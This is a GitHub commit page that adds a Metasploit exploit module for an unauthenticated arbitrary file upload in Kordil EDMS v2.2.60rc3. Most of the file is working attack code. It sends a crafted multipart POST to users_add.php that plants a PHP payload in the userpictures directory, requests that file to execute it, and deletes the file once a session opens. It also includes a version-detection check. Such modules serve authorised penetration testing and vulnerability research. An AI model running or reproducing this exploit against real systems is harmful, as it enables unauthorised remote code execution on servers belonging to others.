Skip to content

Commit b930613

Browse files
committed
Merge branch 'kordil-edms-upload-exec' of github.com:bcoles/metasploit-framework into bcoles-kordil-edms-upload-exec
2 parents 5fe2c26 + 0026543 commit b930613

File tree

1 file changed

+137
-0
lines changed

1 file changed

+137
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
18+
'Description' => %q{
19+
This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
20+
This application has an upload feature that allows an unauthenticated user
21+
to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
27+
],
28+
'References' =>
29+
[
30+
#['OSVDB', ''],
31+
#['EDB', ''],
32+
],
33+
'Platform' => 'php',
34+
'Arch' => ARCH_PHP,
35+
'Targets' =>
36+
[
37+
['Automatic Targeting', { 'auto' => true }]
38+
],
39+
'Privileged' => false,
40+
'DisclosureDate' => "Feb 22 2013",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
46+
], self.class)
47+
end
48+
49+
def check
50+
51+
base = target_uri.path
52+
base << '/' if base[-1, 1] != '/'
53+
peer = "#{rhost}:#{rport}"
54+
55+
# retrieve software version from login page
56+
begin
57+
res = send_request_cgi({
58+
'method' => 'GET',
59+
'uri' => "#{base}global_group_login.php"
60+
})
61+
if res and res.code == 200
62+
if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
63+
return Exploit::CheckCode::Vulnerable
64+
elsif res.body =~ /Kordil EDMS v/
65+
return Exploit::CheckCode::Detected
66+
end
67+
end
68+
return Exploit::CheckCode::Safe
69+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
70+
print_error("#{peer} - Connection failed")
71+
end
72+
return Exploit::CheckCode::Unknown
73+
74+
end
75+
76+
def upload(base, file)
77+
data = Rex::MIME::Message.new
78+
data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
79+
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
80+
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
81+
data.add_part("n", nil, nil, 'form-data; name="act"')
82+
data_post = data.to_s
83+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
84+
85+
res = send_request_cgi({
86+
'method' => 'POST',
87+
'uri' => "#{base}users_add.php",
88+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
89+
'data' => data_post
90+
})
91+
return res
92+
end
93+
94+
def on_new_session(client)
95+
if client.type == "meterpreter"
96+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
97+
client.fs.file.rm("#{@fname}.php")
98+
else
99+
client.shell_command_token("rm #{@fname}.php")
100+
end
101+
end
102+
103+
104+
def exploit
105+
106+
base = target_uri.path
107+
base << '/' if base[-1, 1] != '/'
108+
@peer = "#{rhost}:#{rport}"
109+
@fname = rand_text_numeric(7)
110+
111+
# upload PHP payload to userpictures/[fname].php
112+
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
113+
php = %Q|<?php #{payload.encoded} ?>|
114+
begin
115+
res = upload(base, php)
116+
if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
117+
print_good("#{@peer} - File uploaded successfully")
118+
else
119+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
120+
end
121+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
122+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
123+
end
124+
125+
# retrieve and execute PHP payload
126+
print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
127+
begin
128+
res = send_request_cgi({
129+
'method' => 'GET',
130+
'uri' => "#{base}userpictures/#{@fname}.php"
131+
})
132+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
133+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
134+
end
135+
136+
end
137+
end

0 commit comments

Comments
 (0)